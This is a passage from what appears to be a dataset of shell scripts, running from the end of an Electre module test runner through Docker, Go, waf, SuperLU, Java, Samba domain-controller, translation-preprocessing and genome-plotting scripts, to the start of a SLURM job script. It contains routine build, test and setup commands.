tests/out2/messages.xml > /dev/null\nrm tests/concordance.xml && rm tests/messages.xml\necho \"ok\"\n\n./ElectreConcordance.py -i tests/in3 -o tests\ndiff -s tests/concordance.xml tests/out3/concordance.xml > /dev/null\ndiff -s tests/messages.xml tests/out3/messages.xml > /dev/null\nrm tests/concordance.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreConcordanceReinforcedPreference...\"\ncd ../ElectreConcordanceReinforcedPreference\n\n./ElectreConcordanceReinforcedPreference.py -i tests/in -o tests\ndiff -s tests/concordance.xml tests/out/concordance.xml > /dev/null\ndiff -s tests/messages.xml tests/out/messages.xml > /dev/null\nrm tests/concordance.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreConcordanceWithInteractions...\"\ncd ../ElectreConcordanceWithInteractions\n\n./ElectreConcordanceWithInteractions.py -i tests/in -o tests\ndiff -s tests/concordance.xml tests/out/concordance.xml > /dev/null\ndiff -s tests/messages.xml tests/out/messages.xml > /dev/null\nrm tests/concordance.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreCredibility...\"\ncd ../ElectreCredibility\n\n./ElectreCredibility.py -i tests/in1 -o tests\ndiff -s tests/credibility.xml tests/out1/credibility.xml > /dev/null\ndiff -s tests/messages.xml tests/out1/messages.xml > /dev/null\nrm tests/credibility.xml && rm tests/messages.xml\necho \"ok\"\n\n./ElectreCredibility.py -i tests/in2 -o tests\ndiff -s tests/credibility.xml tests/out2/credibility.xml > /dev/null\ndiff -s tests/messages.xml tests/out2/messages.xml > /dev/null\nrm tests/credibility.xml && rm tests/messages.xml\necho \"ok\"\n\n./ElectreCredibility.py -i tests/in3 -o tests\ndiff -s tests/credibility.xml tests/out3/credibility.xml > /dev/null\ndiff -s tests/messages.xml tests/out3/messages.xml > /dev/null\nrm tests/credibility.xml && rm tests/messages.xml\necho \"ok\"\n\n./ElectreCredibility.py -i tests/in4 -o tests\ndiff -s tests/credibility.xml tests/out4/credibility.xml > /dev/null\ndiff -s tests/messages.xml tests/out4/messages.xml > /dev/null\nrm tests/credibility.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreCredibilityWithCounterVeto...\"\ncd ../ElectreCredibilityWithCounterVeto\n\n./ElectreCredibilityWithCounterVeto.py -i tests/in -o tests\ndiff -s tests/credibility.xml tests/out/credibility.xml > /dev/null\ndiff -s tests/messages.xml tests/out/messages.xml > /dev/null\nrm tests/credibility.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreDiscordance...\"\ncd ../ElectreDiscordance\n\n./ElectreDiscordance.py -i tests/in1 -o tests\ndiff -s tests/discordance.xml tests/out1/discordance.xml > /dev/null\ndiff -s tests/messages.xml tests/out1/messages.xml > /dev/null\ndiff -s tests/counter_veto_crossed.xml tests/out1/counter_veto_crossed.xml > /dev/null\nrm tests/discordance.xml && rm tests/messages.xml && rm tests/counter_veto_crossed.xml\necho \"ok\"\n\n./ElectreDiscordance.py -i tests/in2 -o tests\ndiff -s tests/discordance.xml tests/out2/discordance.xml > /dev/null\ndiff -s tests/messages.xml tests/out2/messages.xml > /dev/null\ndiff -s tests/counter_veto_crossed.xml tests/out2/counter_veto_crossed.xml > /dev/null\nrm tests/discordance.xml && rm tests/messages.xml && rm tests/counter_veto_crossed.xml\necho \"ok\"\n\n./ElectreDiscordance.py -i tests/in3 -o tests\ndiff -s tests/discordance.xml tests/out3/discordance.xml > /dev/null\ndiff -s tests/messages.xml tests/out3/messages.xml > /dev/null\ndiff -s tests/counter_veto_crossed.xml tests/out3/counter_veto_crossed.xml > /dev/null\nrm tests/discordance.xml && rm tests/messages.xml && rm tests/counter_veto_crossed.xml\necho \"ok\"\n\n./ElectreDiscordance.py -i tests/in4 -o tests\ndiff -s tests/discordance.xml tests/out4/discordance.xml > /dev/null\ndiff -s tests/messages.xml tests/out4/messages.xml > /dev/null\ndiff -s tests/counter_veto_crossed.xml tests/out4/counter_veto_crossed.xml > /dev/null\nrm tests/discordance.xml && rm tests/messages.xml && rm tests/counter_veto_crossed.xml\necho \"ok\"\n\n###\necho \"testing ElectreIsDiscordanceBinary...\"\ncd ../ElectreIsDiscordanceBinary\n\n./ElectreIsDiscordanceBinary.py -i tests/in -o tests\ndiff -s tests/discordance_aggregated.xml tests/out/discordance_aggregated.xml > /dev/null\ndiff -s tests/discordance_partials.xml tests/out/discordance_partials.xml > /dev/null\ndiff -s tests/messages.xml tests/out/messages.xml > /dev/null\nrm tests/discordance_aggregated.xml && rm tests/discordance_partials.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreIsFindKernel...\"\ncd ../ElectreIsFindKernel\n\n./ElectreIsFindKernel.py -i tests/in1 -o tests\ndiff -s tests/kernel.xml tests/out1/kernel.xml > /dev/null\ndiff -s tests/messages.xml tests/out1/messages.xml > /dev/null\nrm tests/kernel.xml && rm tests/messages.xml\necho \"ok\"\n\n./ElectreIsFindKernel.py -i tests/in2 -o tests\ndiff -s tests/kernel.xml tests/out2/kernel.xml > /dev/null\ndiff -s tests/messages.xml tests/out2/messages.xml > /dev/null\nrm tests/kernel.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreIVCredibility...\"\ncd ../ElectreIVCredibility\n\n./ElectreIVCredibility.py -i tests/in1 -o tests\ndiff -s tests/credibility.xml tests/out1/credibility.xml > /dev/null\ndiff -s tests/messages.xml tests/out1/messages.xml > /dev/null\nrm tests/credibility.xml && rm tests/messages.xml\necho \"ok\"\n\n./ElectreIVCredibility.py -i tests/in2 -o tests\ndiff -s tests/credibility.xml tests/out2/credibility.xml > /dev/null\ndiff -s tests/messages.xml tests/out2/messages.xml > /dev/null\nrm tests/credibility.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreTri-CClassAssignments...\"\ncd ../ElectreTri-CClassAssignments\n\n./ElectreTri-CClassAssignments.py -i tests/in -o tests\ndiff -s tests/assignments.xml tests/out/assignments.xml > /dev/null\ndiff -s tests/messages.xml tests/out/messages.xml > /dev/null\nrm tests/assignments.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreTriClassAssignments...\"\ncd ../ElectreTriClassAssignments\n\n./ElectreTriClassAssignments.py -i tests/in -o tests\ndiff -s tests/assignments_conjuctive.xml tests/out/assignments_conjuctive.xml > /dev/null\ndiff -s tests/assignments_disjunctive.xml tests/out/assignments_disjunctive.xml > /dev/null\ndiff -s tests/messages.xml tests/out/messages.xml > /dev/null\nrm tests/assignments_conjuctive.xml && rm tests/assignments_disjunctive.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreTri-rCClassAssignments...\"\ncd ../ElectreTri-rCClassAssignments\n\n./ElectreTri-rCClassAssignments.py -i tests/in -o tests\ndiff -s tests/assignments.xml tests/out/assignments.xml > /dev/null\ndiff -s tests/messages.xml tests/out/messages.xml > /dev/null\nrm tests/assignments.xml && rm tests/messages.xml\necho \"ok\"\n\ncd ..\n\necho \"all tests passed successfully!\""} {"text": "#!/bin/bash\ndocker run --rm --platform linux/amd64 -v \"$PWD\":/m68k gdk"} {"text": "<filename>buildscripts/checkgopath.sh\n#!/usr/bin/env bash\n#\n# Minio Client, (C) 2015, 2016, 2017 Minio, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n_init() {\n\n shopt -s extglob\n\n # Fetch real paths instead of symlinks before comparing them\n PWD=$(env pwd -P)\n GOPATH=$(cd \"$(go env GOPATH)\" ; env pwd -P)\n}\n\nmain() {\n echo \"Checking if project is at ${GOPATH}\"\n for mc in $(echo ${GOPATH} | tr ':' ' '); do\n if [ ! -d ${mc}/src/github.com/minio/mc ]; then\n echo \"Project not found in ${mc}, please follow instructions provided at https://github.com/minio/mc/blob/master/CONTRIBUTING.md#setup-your-mc-github-repository\" \\\n && exit 1\n fi\n if [ \"x${mc}/src/github.com/minio/mc\" != \"x${PWD}\" ]; then\n echo \"Build outside of ${mc}, two source checkouts found. Exiting.\" && exit 1\n fi\n done\n}\n\n_init && main"} {"text": "#!/bin/bash\n\nset -e\n\nbasedir=$(dirname $0)\npep8 --ignore=E201,E202,E241,E251,E402 --exclude=tests,config,build,src,venv,*.egg,.ropeproject \"$basedir\"\npep8 --ignore=E201,E202,E241,E251,E402,E501 \"$basedir/tests\""} {"text": "<reponame>pg83/mix<gh_stars>10-100\n{% extends 'c_std.sh' %}\n\n{% block std_box %}\nbld/python\nbin/pkg-config\n{{super()}}\n{% endblock %}\n\n{% block step_patch %}\nfind . | grep wscript | while read l; do\n sed -e 's|cshlib|cstlib|g' \\\n -e 's|cxxshlib|cxxstlib|g' \\\n -e 's|stdc++|c|g' \\\n -i ${l}\ndone\n\n# TODO(pg): check another projects\nfind . -type f | while read l; do\n sed -e 's|Bdynamic|Bstatic|g' -i ${l}\ndone\n\n{{super()}}\n{% endblock %}\n\n{% set waf_flags %}\n--prefix=\"${out}\"\n{% block waf_flags %}\n{% endblock %}\n{% endset %}\n\n{% block configure %}\npython3 waf configure {{mix.fix_list(waf_flags)}}\n{% endblock %}\n\n{% block build %}\npython3 waf build\n{% endblock %}\n\n{% block install %}\npython3 waf install\n{% endblock %}"} {"text": "#!/bin/sh\n\nbirch sample --config config/yap_dengue_mpg_2048.json\nbirch sample --config config/yap_dengue_pg_2048.json"} {"text": "<reponame>ryjo1026/DockerGeth<filename>buildPushAll.sh\n#!/bin/bash\n# Start registry service\ndocker service create --name registry --publish 5000:5000 registry:2\n\n# Build each image locally and tag\ndocker build -t localhost:5000/geth-manager -f geth-manager .\ndocker build -t localhost:5000/geth-node -f geth-node .\ndocker build -t localhost:5000/geth-miner -f geth-miner .\n\n# Push each image to the registry\ndocker push localhost:5000/geth-manager\ndocker push localhost:5000/geth-node\ndocker push localhost:5000/geth-miner"} {"text": "<reponame>oguzcankirmemis/platform-launcher<filename>setup-environment.example.sh\n#!/bin/bash\n#\n# Copyright (c) 2017 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nexport ZOOKEEPER_KAFKA='kafka'\nexport ZOOKEEPER_KAFKA_PORT='2181'\nexport ZOOKEEPER_HBASE='hbase'\nexport ZOOKEEPER_HBASE_PORT='2181'\nexport POSTGRES='postgres'\nexport POSTGRES_DB='iot'\nexport POSTGRES_PORT='5432'\nexport POSTGRES_USERNAME='postgres'\nexport POSTGRES_PASSWORD='<PASSWORD>'\nexport KAFKA='kafka:9092'\nexport KAFKA_HEARTBEAT_TOPIC='heartbeat'\nexport GEARPUMP='gearpump:8090'\nexport BACKEND='backend:8080'\nexport NGINX='nginx'\nexport REDIS='redis'\nexport REDIS_PORT='6379'\n\nexport SMTP_HOST=\"${SMTP_HOST:-auth.smtp.1and1.co.uk}\"\nexport SMTP_PORT=\"${SMTP_PORT:-587}\"\nexport SMTP_USERNAME=\"${SMTP_USERNAME:-<EMAIL>}\"\nexport SMTP_PASSWORD=\"${SMTP_PASSWORD:-xxxxx}\"\n\nexport COMPOSE_PROJECT_NAME=\"oisp\"\n\nexport VCAP_SERVICES='{\n\"postgresql93\": [{\n \"credentials\": {\n \"dbname\": \"'$POSTGRES_DB'\",\n \"hostname\": \"'$POSTGRES'\",\n \"password\": \"'<PASSWORD>'\",\n \"port\": \"'$POSTGRES_PORT'\",\n \"username\": \"'$POSTGRES_USERNAME'\"\n },\n \"name\": \"mypostgres\"\n}],\n \"websocket-server\": [{\n \"server-name\": \"websocket-server\",\n \"name\": \"mywsserver\"\n}],\n\"hbase\": [{\n \"credentials\": {\n \"HADOOP_CONFIG_KEY\": {\n \"hadoop.security.authentication\": \"simple\",\n \"hadoop.security.authorization\": \"false\",\n \"hbase.security.authentication\": \"simple\",\n \"ha.zookeeper.quorum\": \"'$ZOOKEEPER_HBASE'\",\n \"hbase.zookeeper.property.clientPort\": \"'$ZOOKEEPER_HBASE_PORT'\",\n \"hbase.zookeeper.quorum\": \"'$ZOOKEEPER_HBASE'\"\n }\n },\n \"name\": \"myhbase\"\n}],\n\"hdfs\": [{\n \"credentials\": {\n \"HADOOP_CONFIG_KEY\": {\n \"ha.zookeeper.quorum\": \"'${ZOOKEEPER_HBASE}':'${ZOOKEEPER_HBASE_PORT}'\",\n \"hadoop.security.authorization\": \"false\"\n }\n },\n \"name\": \"myhdfs\"\n}],\n\"kafka\": [{\n \"credentials\": {\n \"uri\": \"'$KAFKA'\"\n },\n \"name\": \"mykafka\"\n}],\n\"zookeeper\": [{\n \"credentials\": {\n \"zk.cluster\": \"'${ZOOKEEPER_KAFKA}:${ZOOKEEPER_KAFKA_PORT}'\",\n \"zk.node\": \"/tmp\"\n },\n \"label\": \"zookeeper\",\n \"name\": \"myzookeeper\",\n \"plan\": \"local\",\n \"tags\": []\n}],\n\"gearpump\": [{\n \"credentials\": {\n \"username\": \"admin\",\n \"password\": \"<PASSWORD>\",\n \"dashboardUrl\": \"'$GEARPUMP'\"\n },\n \"name\": \"mygearpump\"\n}],\n\"smtp\": [\n {\n \"credentials\": {\n \"host\": \"'$SMTP_HOST'\",\n \"port\": \"'$SMTP_PORT'\",\n \"protocol\": \"smtp\",\n \"username\": \"'$SMTP_USERNAME'\",\n \"password\": \"'<PASSWORD>'\"\n },\n \"label\": \"smtp\",\n \"name\": \"mysmtp\"\n }\n ],\n\"redis\": [\n {\n \"credentials\": {\n \"hostname\": \"'$REDIS'\",\n \"port\": \"'$REDIS_PORT'\",\n \"password\": \"\"\n },\n \"label\": \"redis\",\n \"name\": \"myredis\"\n }\n ],\n\"user-provided\": [{\n \"credentials\": {\n \"kdc\": \"localhost\",\n \"kpassword\": \"<PASSWORD>\",\n \"krealm\": \"realm\",\n \"kuser\": \"user\"\n },\n \"name\": \"kerberos-service\"\n},\n{\n \"credentials\": {\n \"hosts\": \"'$KAFKA'\",\n \"enabled\": true,\n \"partitions\": 1,\n \"replication\": 1,\n \"timeout_ms\": 10000,\n \"topics\": {\n \"observations\": \"metrics\",\n \"rule_engine\": \"rules-update\",\n \"heartbeat\": {\n \"name\": \"'$KAFKA_HEARTBEAT_TOPIC'\",\n \"interval\": 5000\n }\n }\n },\n \"name\": \"kafka-ups\"\n},\n{\n \"credentials\": {\n \"host\": \"http://'$NGINX'\",\n \"strictSSL\": false\n },\n \"name\": \"dashboard-endpoint-ups\"\n},\n{\n \"credentials\": {\n \"captcha_test_code\": \"s09ef48213s8fe8fw8rwer5489wr8wd5\",\n \"interaction_token_permision_key\": \"password\",\n \"private_pem_path\": \"./keys/private.pem\",\n \"public_pem_path\": \"./keys/public.pem\"\n },\n \"name\": \"dashboard-security-ups\"\n},\n{\n \"credentials\": {\n \"deviceMeasurementTableName\": \"LOCAL-AA-BACKEND_DEVICE_MEASUREMENT\",\n \"host\": \"http://'$BACKEND'\"\n\n },\n \"name\": \"backend-ups\"\n},\n{\n \"credentials\": {\n \"sender\": \"<EMAIL>\"\n },\n \"name\": \"mail-ups\"\n},\n{\n \"credentials\": {\n \"password\": \"<PASSWORD>\",\n \"username\": \"<EMAIL>\"\n\n },\n \"name\": \"gateway-credentials-ups\"\n},\n{\n \"credentials\": {\n \"password\": \"<PASSWORD>\",\n \"username\": \"<EMAIL>\"\n\n },\n \"name\": \"rule-engine-credentials-ups\"\n},\n{\n \"credentials\": {\n \"password\": \"<PASSWORD>\",\n \"username\": \"api_actuator\"\n },\n \"name\": \"websocket-ups\"\n}]\n}'\n\nexport VCAP_APPLICATION='{\n \"space_name\": \"local\"\n}'"} {"text": "<reponame>paszkow/AMICI\n#!/usr/bin/env bash\n#\n# Build SuperLUMT\n#\nset -e\n\nSCRIPT_PATH=$(dirname $BASH_SOURCE)\nAMICI_PATH=$(cd ${SCRIPT_PATH}/.. && pwd)\n\ncd ${AMICI_PATH}/ThirdParty\n\nif [[ ! -d SuperLU_MT_3.1 ]]; then\n if [[ ! -f superlu_mt_3.1.tar.gz ]]; then\n wget https://crd-legacy.lbl.gov/~xiaoye/SuperLU/superlu_mt_3.1.tar.gz\n fi\n tar -xzf superlu_mt_3.1.tar.gz SuperLU_MT_3.1/\nfi\n\ncd SuperLU_MT_3.1/\n# interferes with std::queue\ntest -f SRC/queue && mv SRC/queue SRC/queue.bak\ncp MAKE_INC/make.pthread make.inc\n# Add -fPIC\nsed -ri 's/(CFLAGS\\W*=\\W*.*)(\\#.*)/\\1-fPIC \\2/' make.inc\n# Use 64bit integers\nsed -ri 's/# (CFLAGS\\W*+=.*-D_LONGINT.*)/\\1/' make.inc\nsed -ri 's/# (FFLAGS\\W*+=.*-fdefault-integer-8.*)/\\1/' make.inc\n\nmake superlulib"} {"text": "<filename>bin/java-config.sh\n#!/bin/bash\n\nbasedir=$(dirname $(dirname $(readlink -fm $0)))\n\nJDK_VERSION=11.0.2\n\nJDK_DOWNLOAD_FILENAME_LINUX=openjdk-${JDK_VERSION}_linux-x64_bin.tar.gz\nJDK_DOWNLOAD_FILENAME_MAC=openjdk-${JDK_VERSION}_osx-x64_bin.tar.gz\nJDK_DOWNLOAD_FILENAME_WIN=openjdk-${JDK_VERSION}_windows-x64_bin.zip\n\nJDK_DOWNLOAD_URL_LINUX=https://download.java.net/java/GA/jdk11/7/GPL/$JDK_DOWNLOAD_FILENAME_LINUX\nJDK_DOWNLOAD_URL_MAC=https://download.java.net/java/GA/jdk11/7/GPL/$JDK_DOWNLOAD_FILENAME_MAC\nJDK_DOWNLOAD_URL_WIN=https://download.java.net/java/GA/jdk11/7/GPL/$JDK_DOWNLOAD_FILENAME_WIN\n\nOS=`uname -s`\nif [ $OS = \"Darwin\" ]; then\n export JAVA_HOME=`realpath $basedir/import/jdks/mac/jdk-${JDK_VERSION}.jdk/Contents/Home`\nelse\n export JAVA_HOME=`realpath $basedir/import/jdks/linux/jdk-${JDK_VERSION}`\nfi"} {"text": "<gh_stars>0\n#!/usr/bin/env bash\n\nalias hd='helm list --deployed | grep -v \"NAME\" | awk '\\''{print $1}'\\'' | sort | uniq -c | awk '\\''{print $1,$2}'\\'' | grep -v \"^1 \"'"} {"text": "#!/bin/bash\n\nconfirm() {\n echo -e \"Yes\\nNo\" | rofi -dmenu -i -format d -selected-row 1 -p \"${1:-Confirm: }\"\n}\n\nlock=\"Lock\"\nsuspend=\"Suspend\"\nreboot=\"Reboot\"\nshutdown=\"Shutdown\"\nreload=\"Reload i3 configuration\"\n\ncontent=\"$lock\\n$suspend\\n$reboot\\n$shutdown\\n$reload\"\n\nselection=$(echo -e $content | rofi -dmenu -i -markup-rows -p \"Action: \")\ncase $selection in\n $lock)\n loginctl lock-session $XDG_SESSION_ID ;;\n $suspend)\n [[ $(confirm) = 1 ]] && (systemctl suspend -i) ;;\n $reboot)\n [[ $(confirm) = 1 ]] && (systemctl reboot -i) ;;\n $shutdown)\n [[ $(confirm) = 1 ]] && (systemctl poweroff -i) ;;\n $reload)\n i3-msg reload\n i3-msg restart ;;\nesac"} {"text": "#!/bin/bash\n\nsource /etc/environment\n\n# nothing for others\numask 0007\n\n# dc docker ip\nhost_ip=172.19.0.10\n\nif [ ! -e /root/initialized ]; then\n\tif [ -e /security/dc01/root ]; then\n\t\techo \"set ssh service\"\n\t\tsed -i 's/PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config\n\n\t\techo \"setup root pass\"\n\t\techo \"root:`cat /security/dc01/root`\" | chpasswd\n\tfi\n\n\t#---------------------\n\t# domain provisioning\n\t#---------------------\n\n\tDEBUG_LEVEL=0\n\n\trm -f /dk/smb.conf /etc/samba/smb.conf\n\ttouch /dk/smb.conf\n\techo \"creating symlink /etc/samba/smb.conf\"\n ln -s ../../dk/smb.conf /etc/samba/smb.conf\n\n\techo\n\techo \"---> setup /etc/hosts [BEFORE]\"\n\tcat /etc/hosts\n\techo \"---> setup /etc/hosts [AFTER]\"\n\tcat /etc/hosts | grep -v dc01 > /tmp/t ; cat /tmp/t > /etc/hosts\n\techo \"$host_ip dc01.my.local dc01\" >> /etc/hosts\n\tcat /etc/hosts\n\n\techo\n\techo \"---> bind [BEFORE]\"\n\tnetstat -tpln\n\n\techo\n\techo \"domain provision\"\n\tsamba-tool domain provision \\\n\t\t-d $DEBUG_LEVEL \\\n\t\t--use-rfc2307 \\\n\t\t--realm=my.local \\\n\t\t--domain=my \\\n\t\t--server-role=dc \\\n\t\t--host-ip=$host_ip \\\n\t\t--dns-backend=SAMBA_INTERNAL \\\n\t\t--option=\"dns forwarder = 8.8.8.8\" \\\n\t\t--option=\"load printers = no\" \\\n\t\t--option=\"printcap name = /dev/null\" \\\n\t\t--option=\"tls cafile = /etc/letsencrypt/live/srv0.example.com/root.pem\" \\\n\t\t--option=\"tls certfile = /etc/letsencrypt/live/srv0.example.com/fullchain.pem\" \\\n\t\t--option=\"tls keyfile = /etc/letsencrypt/live/srv0.example.com/privkey.pem\" \\\n\t\t--adminpass=$(cat /security/dc01/Administrator) && \\\n cp -f /var/lib/samba/private/krb5.conf /etc\n\n\ttouch /root/initialized\nfi\n\n# --option=\"wins support = yes\" \\\n\ncp -f /dk/resolv.conf /etc\n#touch /root/docker-fs\n\n# start services\nservice rsyslog start\nservice cron start\nif [ -e /root/initialized ]; then service supervisor start; fi\nservice ntp start\n#service ssh start\n\nif [ -e /root/initialized ]; then\n\techo \"restarting samba\"\n\trestart_samba\nfi\n\necho\necho\necho \"===> SERVER READY <===\"\necho\necho \"press ctrl+c to stop docker logs and return to shell\"\necho\necho \"- dk-exec dc01 to enter container\"\necho \"- /dk/POST_INITIAL_SETTINGS to reset samba group policy base\"\necho \"======================\"\necho\n\necho\necho \"---> check-dns\"\n/dk/check-dns\necho\n\ntail -f /var/log/samba/*"} {"text": "#!/bin/sh\n\nset -e\n\nrm -rf dist\n\nbabel src \\\n --presets babel-preset-es2015,stage-2 \\\n --plugins syntax-async-functions,transform-runtime \\\n --out-dir dist"} {"text": "#!/bin/bash\n##############################################################################\n# This script executes the preprocessing pipeline for a single pair NMT model. \n# As we use Byte Pair Encoding for both source and target tokens, we need \n# subword-nmt repo available (For details about how to setup your environment\n# for subword-nmt please check https://github.com/nyu-dl/dl4mt-tutorial).\n# \n# We follow the steps below for single pair NMT pre-processing:\n# 1. Learn BPE-codes for both source and target side\n# 2. Encode training, development and test sets with the codes\n#\n# This script assumes the data associated with source and target side along \n# with development and test sets are downloaded and put into the ${datadir}.\n\n# Convenience scripts for downloading can be found again at dl4mt-tutorial.\n##############################################################################\n\ndatadir=${HOME}/data/bpe/fi2en\n\nsource_tr=${datadir}/all.tok.apos.clean.shuf.fi-en.fi\ntarget_tr=${datadir}/all.tok.apos.clean.shuf.fi-en.en\n\nsource_dev=${datadir}/newsdev2015.fi.tok.apos\ntarget_dev=${datadir}/newsdev2015.en.tok.apos\n\nsource_tst=${datadir}/newstest2015-fien-src.fi.tok.apos\ntarget_tst=${datadir}/newstest2015-fien-ref.en.tok.apos\n\nlearn_bpe=${HOME}/codes/subword-nmt/learn_bpe.py\napply_bpe=${HOME}/codes/subword-nmt/apply_bpe.py\ndictionary=${HOME}/codes/GroundHog/experiments/nmt/preprocess/preprocess.py\n\n\n##############################################################################\n# Some utility functions and wrappers\n\n# Encodes a given text file using code\nencode () {\n code=$1\n inp=$2\n out=$3\n if [ -e \"${out}\" ]; then\n echo \"${out} exists\"\n else \n echo \"...encoding ${inp}\"\n python ${apply_bpe} -c ${code} < ${inp} > ${out}\n fi \n}\n\n\n# Extracts dictionary if it does not exist\nextract_dict () {\n inp=$1\n out=$1.vocab.pkl\n if [ -e \"${out}\" ]; then\n echo \"${out} exists\"\n else \n echo \"...extracting dictionary ${inp}\"\n python ${dictionary} ${inp} -d ${out}\n fi \n}\n\n\n# Wrapper to call learn bpe\nlearn_bpe_call () {\n inp=$1\n out=$2\n n_sym=$3\n if [ -e \"${out}\" ]; then\n echo \"${out} exists\"\n else \n echo \"...learning bpe with ${n_sym} symbols using ${inp}\"\n python ${learn_bpe} -s ${n_sym} < ${inp} > ${out}\n fi \n}\n\n\n##############################################################################\n# Learn BPEs and encode training, validation and test files for src and trg\n\necho \"processing source side\"\nfor n_symbols in 30000\ndo\n codes_file=${source_tr}.code${n_symbols:0:2}\n file_id=bpe${n_symbols:0:2}k\n\n # Learn byte pair encoding given training data\n learn_bpe_call ${source_tr} ${codes_file} ${n_symbols}\n\n # Encode training, development and test sets\n for inp in ${source_tr} ${source_dev} ${source_tst}\n do\n encode ${codes_file} ${inp} ${inp}.${file_id}\n done\n echo; echo\ndone\n\necho \"processing target side\"\nfor n_symbols in 30000\ndo\n codes_file=${target_tr}.code${n_symbols:0:2}\n file_id=bpe${n_symbols:0:2}k\n\n # Learn byte pair encoding given training data\n learn_bpe_call ${target_tr} ${codes_file} ${n_symbols}\n\n # Encode training, development and test sets\n for inp in ${target_tr} ${target_dev} ${target_tst}\n do\n encode ${codes_file} ${inp} ${inp}.${file_id}\n done\n echo; echo\ndone\n\n\n##############################################################################\n# Extract dictionaries using training data \n\necho \"post-processing source side\"\nfor n_symbols in 10000 30000 50000 80000\ndo\n file_id=bpe${n_symbols:0:2}k\n\n # Extract dictionary using encoded training\n extract_dict ${source_tr}.${file_id}\n\ndone\n\necho \"post-processing target side\"\nfor n_symbols in 10000 30000 50000 80000\ndo\n file_id=bpe${n_symbols:0:2}k\n\n # Extract dictionary using encoded training\n extract_dict ${target_tr}.${file_id}\n\ndone"} {"text": "# platform = Red Hat Enterprise Linux 6\nif rpm -qa | grep -q telnet-server; then\n\tyum -y remove telnet-server\nfi"} {"text": ". <(planemo conda_env pyGenomeTracks.xml)\npgt --tracks test-data/test1.ini --region chrX:3000000-3500000 -o test-data/master_TADs_plot.png\npgt --tracks test-data/test2.ini --region chrX:3000000-3500000 -o test-data/bigwig_multiple.png\npgt --tracks test-data/test3.ini --region chrX:3000000-3500000 -o test-data/master_TADs_BW_plot.png\npgt --tracks test-data/test4.ini --region X:2700000-3100000 -o test-data/test_alpha.png\npgt --tracks test-data/test5.ini --region X:3000000-3300000 -o test-data/test_gtf_bed4.png\npgt --tracks test-data/test6.ini --region X:2760000-2802000 -o test-data/test_narrowPeak.png\npgt --tracks test-data/test7.ini --region chrX:3300000-3500000 -o test-data/test_gtf_flybase_param.png\npgt --tracks test-data/test8.ini --region chrX:3300000-3500000 -o test-data/test_ucsc_param.png\npgt --tracks test-data/test9.ini --region X:3133000-3138000 -o test-data/test_arrowhead_zoom.png\npgt --tracks test-data/test10.ini --region X:3340000-3380000 -o test-data/test_middle_triangle.png\npgt --tracks test-data/test11.ini --region chrX:3250000-3400000 -o test-data/test_TADs_bdgm.png\npgt --tracks test-data/test12.ini --region chrX:3000000-3300000 -o test-data/test_link.png\n\nconda_env_deactivate"} {"text": "export TMPDIR=\"/tmp\"\nexport CHKDIR=\"./checkpoint\"\n#export PRETRAINED=\"pretrained_checkpoint/vgg16_netvlad_checkpoint\"\nexport PRETRAINED=\"pretrained_checkpoint/vgg16_netvlad_checkpoint_gpu4\"\n\n# Dataset is hardcoded at pittsburgh.py as follows : \"./netvlad_v100_datasets\" directory\n# --dataPath : Path for centroid data.\n# --runsPath : Path to save running data such as intermediate weights.\n# --resume : Path to load checkpoint from, for resuming training or testing. such as pretrained weight\n# which has to have files like follows in its children directory :\n# ResumeDIR/checkpoints/\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t flags.json and \n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t model_best.pth.tar or\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t checkpoint.pth.tar\n\n\npython main.py --mode=test --split=val --resume=${PRETRAINED} \\\n\t\t\t--dataPath=${CHKDIR}/data --runsPath=${CHKDIR}/runs \\\n\t\t\t--nGPU 4 --cacheBatchSize 4\n#\t\t\t --nocuda"} {"text": "#!/bin/bash\n\nREPO=https://github.com/pagarme/former-kit-skin-pagarme\n\npushd /tmp\n\ngit clone --depth=1 -b \"$CIRCLE_BRANCH\" \"$REPO\" skin-pagarme\n\nif test $? -ne 0; then\n rm -rf skin-pagarme\n git clone --depth=1 \"$REPO\" skin-pagarme\nfi\n\npushd skin-pagarme\n\nyarn\n\nyarn build\n\nyarn link\n\npopd\npopd\n\nyarn link former-kit-skin-pagarme"} {"text": "#!/bin/bash\n#SBATCH -J =ActionClip=\n#SBATCH --cpus-per-task=8\n#SBATCH --gres=gpu:1\n\n#last-log\n#no-pretrain-\n#resnet-50-test\nif [ -f \"/home/10501001/anaconda3/etc/profile.d/conda.sh\" ]; then\n . \"/home/10501001/anaconda3/etc/profile.d/conda.sh\"\nelse\n export PATH=\"/home/10501001/anaconda3/bin:$PATH\"\nfi\nconda activate ACTION-CLIP\n\nmodule load cudnn7.6-cuda10.2/\nmodule load cuda10.0/\nmodule load nccl2-cuda10.2-gcc/\n\n\nnvidia-smi\n#cd ~/projects/ActionCLIP/work\necho 'ActionClip boot~'\n\n#bash scripts/run_train.sh ./configs/ucf101/ucf_train.yaml\n\n#if [ -f $1 ]; then\n# config=$1\n#else\n# echo \"need a config file\"\n# 